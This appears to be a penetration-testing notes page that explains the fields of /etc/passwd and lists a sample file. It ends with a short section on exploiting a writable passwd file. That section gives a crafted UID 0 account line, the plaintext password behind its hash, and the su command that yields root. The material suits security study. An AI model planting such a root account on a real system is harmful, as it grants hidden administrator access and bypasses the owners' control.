Understanding /etc/passwd
Format
<username>: <hash>:<uid>:<gid>:<special notes (not required)>:<home directory>:<default shell>
An 'x' in the hash means that the hash for the password is located in /etc/shadow
If the default shell is /nologin or /bin/false then it an account that is not meant to be logged in to
Such as a service account, etc.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:103:107:MySQL Server,,,:/nonexistent:/bin/false
epmd:x:104:108::/var/run/epmd:/usr/sbin/nologin
Debian-exim:x:105:109::/var/spool/exim4:/usr/sbin/nologin
uuidd:x:106:111::/run/uuidd:/usr/sbin/nologin
rwhod:x:107:65534::/var/spool/rwho:/usr/sbin/nologin
redsocks:x:108:112::/var/run/redsocks:/usr/sbin/nologin
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
miredo:x:110:65534::/var/run/miredo:/usr/sbin/nologin
ntp:x:111:113::/nonexistent:/usr/sbin/nologin
postgres:x:112:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
messagebus:x:114:116::/nonexistent:/usr/sbin/nologin
iodine:x:115:65534::/var/run/iodine:/usr/sbin/nologin
arpwatch:x:116:118:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
stunnel4:x:118:122::/var/run/stunnel4:/usr/sbin/nologin
rtkit:x:119:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
sslh:x:120:125::/nonexistent:/usr/sbin/nologin
couchdb:x:121:127:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
inetsim:x:122:128::/var/lib/inetsim:/usr/sbin/nologin
geoclue:x:123:131::/var/lib/geoclue:/usr/sbin/nologin
sshd:x:124:65534::/run/sshd:/usr/sbin/nologin
colord:x:125:132:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
saned:x:126:134::/var/lib/saned:/usr/sbin/nologin
speech-dispatcher:x:127:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:128:135:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
pulse:x:129:136:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gluster:x:130:138::/var/lib/glusterd:/usr/sbin/nologin
Debian-gdm:x:131:139:Gnome Display Manager:/var/lib/gdm3:/bin/false
king-phisher:x:132:140::/var/lib/king-phisher:/usr/sbin/nologin
dradis:x:133:141::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:134:142::/var/lib/beef-xss:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/sbin/nologin
systemd-timesync:x:135:143:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
Debian-snmp:x:117:144::/var/lib/snmp:/bin/false
apparition:x:1000:1000:,,,:/home/apparition:/bin/bash
Exploiting Writable /etc/passwd File
apparition:$1$MMblbbq2$0g1OUbVm42zMRQQRobrLX/:0:0:apparition:/root:/bin/bash
this hash is for passwd = supersecretpasswd
su apparition
enter passwd
supersecretpasswd
Last updated